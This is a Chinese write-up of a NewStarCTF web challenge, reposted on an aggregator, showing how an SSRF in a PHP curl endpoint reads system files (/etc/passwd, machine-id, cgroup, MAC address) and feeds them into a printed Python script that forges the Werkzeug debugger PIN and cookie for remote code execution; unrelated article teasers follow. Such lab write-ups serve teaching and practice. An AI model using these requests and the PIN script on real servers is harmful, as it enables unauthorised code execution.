NewStarCTF WEEK5|WEB pppython?

news/2025/1/17 21:58:02/文章来源:https://www.cnblogs.com/dghh/p/18339505

对源码进行简单的分析

<?php// 检查 `hint` 请求参数是否等于指定的数组值
if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) {// 如果条件满足,设置响应内容类型为纯文本header("Content-type: text/plain");// 执行系统命令 `ls / -la` 列出根目录下的所有文件及其详细信息system("ls / -la");// 执行完命令后退出脚本exit();
}try {// 初始化一个新的 cURL 会话$ch = curl_init();// 设置 cURL 请求的 URL,从请求参数 `url` 中获取curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);// 设置连接超时时间为 60 秒curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);// 设置 HTTP 头部// `$_REQUEST['lolita']` 必须是一个数组,且每个元素都是 `key: value` 格式curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);// 执行 cURL 请求,并获取响应$output = curl_exec($ch);// 输出响应内容echo $output;// 关闭 cURL 会话curl_close($ch);   
} catch (Error $x) {// 捕获异常,并显示当前文件的源码和错误信息highlight_file(__FILE__);highlight_string($x->getMessage());
}?>

对代码进行简单的分析
我们先满足

($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]) 

来看一下 system("ls / -la");的结果

image

发现flag但是没有权限
我们接着看源码
还可以利用ssrf读文件我们读一下app.py

url/?url=file:///app.py&lolita[]=

image

然后就是伪造session来拿到flag
但是压根就没cookie没法直接伪造
image

这里很关键
我们知道了flask内网地址为 127.0.0.1:1314
还有就是结合app.py的存在我们知道可以计算pin码然后进入到/console进行rce

username
通过getpass.getuser()读取,通过文件读取/etc/passwdmodname
通过getattr(mod,“file”,None)读取,默认值为flask.appappname
通过getattr(app,“name”,type(app).name)读取,默认值为Flaskmoddir
flask目录下面app.py的绝对路径,可以通过报错拿到uuidnode
通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算machine_id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,第一个读不到的话就是后两个拼接

username:root

modname:flask.app

appname:Flask

moddir:进debug读app.py路径
?url=127.0.0.1:1314&lolita[]=debug

image

/usr/local/lib/python3.10/dist-packages/flask/app.py

uuidnode:/?url=file:////sys/class/net/eth0/address&lolita[]=

be:31:72:c9:ba:3c->(十进制)209119588497980

machine_id:/etc/machine-id读取不到那麽就是/proc/sys/kernel/random/boot_id和/proc/self/cgroup

edeba027-4585-4b0e-81c5-9451b7c558b8

/proc/self/cgroup
image
真有意思....
下面是学习的其他人的wp

然后就放到脚本里跑出pin码和cookie

import hashlib
from itertools import chain
import timeprobably_public_bits = ['root''flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['209308333341629','8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

然后就是如何传参

GET /?&debugger=yes&cmd=print(1)&frm=140324285712640&s=prj74Iraob1k5eMHiH37
1
这里我们要去获取frm和s的值

frm如果没有报错信息的话值为0
s的值可以直接访问./console,然后查看源码的SECRET值
由于这里试了半天没有报错信息,那么frm=0

访问一下console,获取s值

?url=http://localhost:1314/console&lolita[]=

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/776782.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣--59.螺旋矩阵II

模拟顺时针画矩阵的过程:填充上行从左到右 填充右列从上到下 填充下行从右到左 填充左列从下到上由外向内一圈一圈这么画下去/*** 生成一个包含从1到n*n的数字的矩阵* @param {number} n - 矩阵的大小,为正整数* @return {number[][]} - 返回一个n x n的二维数组,数组中的每个…

轻松搞定 Nginx 在 CentOS 和 Ubuntu 上的安装与配置

本文详细介绍了在 CentOS 和 Ubuntu 系统上安装 Nginx 的全过程,包括下载方法、安装步骤、配置开机自启以及基础配置等重要内容,还提供了常见问题的解决方案和优化配置示例,助您顺利搭建高效的服务器环境。注:这是对我以前博客进行优化后再次发布的,博客中的截图为以前的。…

mfc用printf输出调试信息到终端cmd

前言全局说明mfc用printf输出调试信息到终端cmd一、说明 环境: Windows 11 家庭版 23H2 22631.3737 VS2013二、printf 打印调试信息 2.1 设置启用 控制台 打印 2.1.1 打开解决方案(项目)-- 属性2.1.2 配置属性 -> 生成事件 -> 后期生成事件 -> 命令行 -> 编辑 在…

更改element-ul的表格底部滚动条

/* 确保表格容器有足够的高度 */ ::v-deep .el-table .el-table__fixed{overflow: hidden;height:auto !important;bottom:20px !important; }/* 普通列的滚动条样式 */ ::v-deep .el-table__body-wrapper {padding-bottom: 10px; /* 调整底部 padding */ }::v-deep .el-table_…

【VMware VCF】VMware Cloud Foundation Part 06:部署 VI 工作负载域。

VMware Cloud Foundation 标准架构中,管理域和 VI 工作负载域需要分开部署,管理域是初始构建(Bring-up)中部署的一个工作负载域并且只有一个,管理域专门用于承载管理相关组件虚拟机。之前文章(VMware Cloud Foundation Part 05:部署 SDDC 管理域。)已经完成了管理域的相…

一次函数杂谈

update 2024.7.25 更改内容 update 2024.8.1 更改内容+图床更改4.一次函数 4.1 函数的认识函数的定义:一般地,如果在一个变化过程中有两个变量 \(x\) 和 \(y\) ,并且对于变量 \(x\) 的每一个值,变量 \(y\) 者都有唯一的值与它对应,那么我们称 \(y\) 是 \(x\) 的函数,其中…

(PSM) 认证培训课程:精通Scrum,提升项目管理技能

Professional Scrum Master (PSM) 官方认证培训班:掌握Scrum,提升项目管理能力​ 在快速变化的商业环境中,高效的项目管理和团队协作是企业成功的关键。作为一种广泛认可的敏捷框架,Scrum已成为推动项目成功和提高团队效率的重要工具。为了帮助专业人士掌握Scrum方法和实践…

万字干货:从消息流平台Serverless之路,看Serverless标准演进

摘要:如今,Serverless化已经成为消息流平台发展的新趋势,而如何更好地基于Serverless化的消息流平台进行应用设计和开发,则成为了一个值得思考的问题。 本文分享自华为云社区《9000字干货:从消息流平台Serverless之路,看Serverless标准演进》,作者:华为云PaaS服务小智。…

我的CSP、NOIP笔记随笔

我的CSP、NOIP笔记随笔 零碎知识prim kruskal dijkstra 使用贪心思想斐波那契数列结论:\(\Sigma_{i=1}^{n}f(i)=f(n+2)-1\)有些函数有单调性(单调递增或单调递减)双指针法:用两个变量指向两个位置,要tail++,不要前面丢掉组合数递推公式:\(C_m^n=C_m^{n-1}+C_{m-1}^{n-1}\…

Zotero文献题录和附件如何导入到NoteExpress?

首先,我的zotero中有一堆的文献题目和pdf,需要把它们(包括PDF)都导出到NE中;第二步,选中我要导出到文献,右键点击export Items;选择RIS格式,只要是两个软件同时支持的格式都行;(把条目和论文PDF附件都勾选上)选择路径,点击ok,就会得到这样一个文件夹;文件夹中有…

面试官:你的项目有哪些难点?

项目难点是指在项目执行过程中遇到的具有挑战性、复杂性或不确定性的问题和障碍,这些问题可能会影响项目的进度、质量、成本和目标的实现。 我这里提供一些比较常见的难点问题:具体来说。 1.技术难题 常见的技术难题和解决方案有以下这些:高并发请求问题:在一个短时间内有大…